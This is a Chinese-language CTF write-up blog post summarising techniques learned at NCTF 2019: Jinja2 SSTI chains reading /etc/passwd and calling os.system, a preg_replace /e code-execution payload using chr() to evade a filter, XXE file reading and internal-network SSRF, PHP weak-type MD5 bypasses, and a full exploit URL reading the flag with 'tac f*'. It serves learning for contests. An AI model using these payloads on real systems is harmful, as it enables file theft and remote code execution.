美文网首页ctf
nctf-新知识-get

nctf-新知识-get

作者: byc_404 | 来源:发表于2019-11-26 23:01 被阅读0次

    nctf校赛总算结束了。。。自己单挑参与,名次还是不太理想,web狗真的被锤爆啊。也不知道最后能不能混个三等奖什么的(要是自己会二进制,有队友帮忙做misc该多好啊啊啊)但是,虽然web只做了4又2/3题,自己真的收获了不少。原来听各路师傅说以赛代练诚不欺我。这几天加班加点怎么也得把新学的知识总结一下,并且把没做出来的web都复现下吧。要变得更强,争取今年结束前面试成功,开启自己正式的ctf之路。

    新知识1:flask——SSTI

    做到flask这一题时发现从做题数来看不是道难题,于是google下,竟然找到去年郁师傅出校赛题目的flask+SSTI原题:
    http://yulige.top/?p=531
    当然上面两道题难度显然过大了,不愧是郁师傅。

    于是自己就准备先现学下SSTI知识:
    https://www.freebuf.com/column/187845.html

    flask是python 中用到的一个模板,与之前见到的django之类的十分类似。flask是使用Jinja2来作为渲染引擎的。其中渲染的函数中有这样的存在:

    <h1>{{content}}</h1>
    

    这是因为{{}}在Jinja2中作为变量包裹标识符。
    {{}}不仅可以传变量,还可以传表达式。所以如同sql注入一样,探查这个漏洞时可以尝试{{2*4}}之类的,如果返回运算结果,说明存在SSTI了。

    那么如何利用这个漏洞进行文件读取或者命令执行呢?是通过python的对象的继承来一步步实现文件读取和命令执行的的。
    找到父类<type 'object'>–>寻找子类–>找关于命令执行或者文件操作的模块。

    几个魔术方法

    __class__  返回类型所属的对象
    __mro__    返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
    __base__   返回该对象所继承的基类
    // __base__和__mro__都是用来寻找基类的
    
    __subclasses__   每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
    __init__  类的初始化方法
    __globals__  对包含函数全局变量的字典的引用
    
    大抵如下: python

    这时可以在回显得类中找到可以利用的,比如最直接的想法肯定是file类嘛,因为可以读取文件之类的。
    一个读etc/passwd的利用

    ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()
    

    一个读etc/passwd的利用

    通常ctf题目中可能会禁用一些类,那就需要另辟蹊径了。
    除了读取文件,还有命令执行可以利用。
    通常是找含os模块的类
    比如假设回显的第72个子类为<class 'site._Printer'>可以利用它

    ''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls')
    

    当然,system不能用的话还有其他利用方法,比如校赛中我用的是popen函数。都可以达成目的。

    新知识2 —preg-replace

    来自题目replace。是关于preg_replace()的题。preg_replace()的漏洞利用其实不是第一次做了,之前攻防世界上ics-05好像就是这题。
    preg_replace()可以传三个参数。第一个是匹配模式,第二个是替换对象,第三个是用于更换的对象。代表pat,rep,sub三个参数。
    其中pat存在一个/e匹配的漏洞,跟在pat之后的内容会作为php代码执行。所以攻防世界那道题直接就可以system()函数大杀特杀了。
    不过本题存在waf(实际上读取getshell后读源码发现过滤了几乎一大堆命令函数。),所以存在绕过问题。这里我琢磨了不少时间,最后用了个另类payload,相当于之前onethink漏洞的经验,分步绕waf:

    rep

    这里我先说明下自己的不足。这里一心只想着/e结果给pat后加/e时。发现报错。我还以为是利用错了,结果后来看大佬wp发现是自己没想到pat的/e是直接加好的。。。难怪我要用|test|e才不会报错,原来是错中出错反而解决了这一问题。
    大佬们的payload大概是预期解:

    sub=text&pat=e&rep=readfile(chr(47).chr(102).chr(108).chr(97).chr(103));
    

    实际上这是一个php过狗大马的用法,而我自己的payload相当于分步利用php小马。确实让我学到了在php中命令执行是可以用chr()拼接绕过的。后面还会总结下更有意思的异或绕过。

    新知识3——xxe的ssrf利用

    之前红帽杯中出现的ticketsystem就是一道xxe题目。当时是用到xxe读文件然后phar://反序列化拿flag。算是比较高级的用法,有时间我会自己复现下。
    而nctf中有两道xxe题目,第一道签到题,直接读/flag。第二道是内网探测的一个点。可惜我一开始想,xxe的利用好像除了文件读取就是ssrf比较常见了,但是因为自己之前利用bwapp学xxe时没认真做,误以为利用起来会比较难,就选择放弃了。后来看大佬们wp说是内网探测感到非常可惜,自己错过了一道可能做出来的题目。
    xxe脚本如下:

    <?xml version="1.0"? encoding="utf-8">
    <!DOCTYPE a[
        <!ENTITY b SYSTEM "file:///etc/passwd">
    ]>
    <c>&b;</c>
    

    其中第一行是属于xml声明,中间三行叫做dtd,Document Type Definition 即文档类型定义,最后一行是利用部分即xml部分。
    常见读法是读取加密过的用户密文etc/passwd,设置是所有人可读,常用于试探。而之前提到的,xxe另一个利用就是ssrf打内网。nctf中这道题读取etc/host会发现内网ip,读取proc/net/arp会发现很多ip,直接尝试即可。

    <!DOCTYPE a[
        <!ENTITY b SYSTEM "http://192.168.1.8">
    ]>
    

    新知识4——php大法好&linux真牛&我都不会

    曾经听说php大法好还不屑一顾,只有真正做到题目才会逐渐理解php的奇妙之处。php的绕过方式实在太多了。这一次做题中查文章就留意到不少绕过姿势,这里先就题目提一下我最深刻感受的php的点。
    哦,还有linux下的命令执行。我发现自己原来真的不懂linux,一定要好好学习下。
    首先贴出这道自己做出2/3的题目源码:

    <?php 
    error_reporting(0); 
    highlight_file(__file__); 
    $string_1 = $_GET['str1']; 
    $string_2 = $_GET['str2']; 
    $cmd = $_GET['q_w_q']; 
    
    
    //1st 
    if($_GET['num'] !== '23333' && preg_match('/^23333$/', $_GET['num'])){ 
        echo '1st ok'."<br>"; 
    } 
    else{ 
        die('23333333'); 
    } 
    
    
    //2nd 
    if(is_numeric($string_1)){ 
        $md5_1 = md5($string_1); 
        $md5_2 = md5($string_2); 
        if($md5_1 != $md5_2){ 
            $a = strtr($md5_1, 'cxhp', '0123'); 
            $b = strtr($md5_2, 'cxhp', '0123'); 
            if($a == $b){ 
                echo '2nd ok'."<br>"; 
            } 
            else{ 
                die("can u give me the right str???"); 
            } 
        }  
        else{ 
            die("no!!!!!!!!"); 
        } 
    } 
    else{ 
        die('is str1 numeric??????'); 
    } 
    
    
    //3rd 
    $query = $_SERVER['QUERY_STRING']; 
    if (strlen($cmd) > 8){ 
        die("too long :("); 
    } 
    
    if( substr_count($query, '_') === 0 && substr_count($query, '%5f') === 0 ){ 
        $arr = explode(' ', $cmd); 
        if($arr[0] !== 'ls' || $arr[0] !== 'pwd'){ 
            if(substr_count($cmd, 'cat') === 0){ 
                system($cmd); 
            } 
            else{ 
                die('ban cat :) '); 
            } 
        } 
        else{ 
            die('bad guy!'); 
        } 
    } 
    else{ 
        die('nonono _ is bad'); 
    } 
    ?> 
    

    这道题目存在三个绕过点:
    1.num传值不为23333,preg_match()为23333
    2.string1限制下的MD5弱类型比较
    3.限制ls,cat及字数等的命令执行

    先来看第一个,传统较为简单的ctf题目会要求你绕过eregi或preg_match()等函数,这种时候使用数组或者%00截断是常用选择。这些题目都是基于正则判断为假即算绕过的源码。但本题思路刚好相反,要求正则匹配函数为真,而传参的num值匹配为假。
    这种时候要先搬出我所学习到的php黑魔法了:
    php类型比较中分为严格===与弱类型==比较
    /PHPMagicTricks-TypeJuggling.pdf中的


    === ==

    其中严格类型基本不可能绕过,所以根本不需要考虑num为23333的可能性。而弱类型存在多种可能。故这里只用考虑绕过preg_match()。使用 %0a换行符即可。

    第二个绕过点让我学到了很多。也改变了我的一个错误认识。首先,我原来简单写过文章讲述cg-ctf上md5collision的题目。当时是利用弱类型相等,传两个字符串,比如s878926199a与QNKCDZO。它们的MD5是0e开头,而php中将0e开头的字符串当作0,当时我以为只要是0e开头的MD5值都可以,但实则不然。

    回到这道题,首先它要求str1isnumeric()说明要传数字而非字符串。当然这里传16进制也是没有问题的。之后要求str1,str2的MD5值不同,而经过一次字符替换后的MD5弱类型相等。
    这里有几个重点,我小结一下:
    1.MD5值不同,说明不能直接传直接老套路字符串
    2.strtr()函数是在字符串中从头找到尾并进行一一替换,比如

    $a = strtr($md5_1, 'cxhp', '0123'); 
    

    中,会把$md5_1所有c都换成0。
    3.MD5中不可能有x,h,p字符的出现。

    开始想法很简单:找到MD5值为ce开头的不就好了吗?替换后就成0e了。于是很轻松找到一个,赋值给str1,str2传一个QNKCDZO。。。结果没绕过去?
    我之后本地php复现了一下,发现真的绕不过弱类型相等。之后一看上面的pdf发现了:


    string to number string to number 2

    php在比较字符串与整型数时,有这样的特性:第一张图提到的含数字+字母的类型强转为整型,且跟开头数字是有关的。第二张图提到的,如果字符串长得像数字,也会强转比较。我们之前的MD5绕过就是如此。

    所以说,不是0e开头就能绕过 $a == $b,还得保证其组成全为数字。因为$b是全为数字的md5值。
    当时的脚本:

    import hashlib
    cap='0e'
    
    for x in range(1,99999999999):
        hash_md5 = hashlib.md5()
        data = ('0x'+str(x)).encode('utf-8')
        hash_md5.update(data)
        str1= hash_md5.hexdigest()
        md5_str=str1.replace('c','0')
        if md5_str[0:2]==cap:
            print(str(x)+'符合要求')
            if md5_str[2:32].isnumeric():
                print(md5_str)
                break
    

    后来发现做复杂了。。。只要找到只由数字加c组成的MD5值就好,没必要像我那样非要用十六进制的str1与字符串的str2。
    比如用2120624&240610708是可以的。
    以上大体是php的学习经验了。弱类型比较与一些类型强转真的很有用。比如json中存在的

     "7a5c2...72c933" == int(7) 
    "68f66...8229bb" == int(68) 
    "092d1...c410a9" == int(92)
    

    这些都是非常有用的啊!学到了不少知识。

    之后是我痛心疾首没绕过的第三个点...还是我对linux不熟,这里先直接说下我的历程吧。一开始要先绕掉q_w_q中的下横线,同时限制了使用%5furl编码来绕过。这里我思考了会用%5F绕过成功了(应该是浏览器的先进之处吧,官方解是用.绕过),之后用ls发现flllag.php就在index.php同目录下。
    然而自己绞尽脑汁也没想到怎么不用cat且在8个字符以内读这个php。。。。。。还是太菜啊!我后来问了出题人才知道,正解是使用tac 读,tac f*
    我当时就懵了,百度了下tac发现真的有这个我从未听说的命令。。。效果也很戏剧性,就是反向cat,倒着读文件。。。而且flllag.php也不用完全匹配,只需要f*就好了。。。
    (我真的不懂linux,我太菜了,我太难了)
    此题最后payload:

    http://nctf2019.x1ct34m.com:60005/?num=23333%0a&str1=0x11536272&str2=QNKCDZO&q.w.q=tac f*
    

    反思后,发现自己还是linux学的不够,还要加把劲啊。

    顺便阐释下自己当时陷入的死胡同,那就是长度限制命令执行。
    https://www.freebuf.com/articles/web/154453.html

    当时在freebuf上看到的,当时瞬间豁然开朗。发现linux非常神奇,命令及其简洁。比如>1就可以创造空文件,这样就允许我们通过把想执行的命令拆分成几段进行执行,比如反弹shell什么的。HITCON2017中有题目就是如此。(ichunqiu 上有,日后我一定会做,当时候另写文章)
    可惜这题不是这思路。

    大体上先写这么多吧。有点不甘心,但收获很大。这就是ctf的魅力吧。

    相关文章

      网友评论

        本文标题:nctf-新知识-get

        本文链接:https://www.haomeiwen.com/subject/kqsswctx.html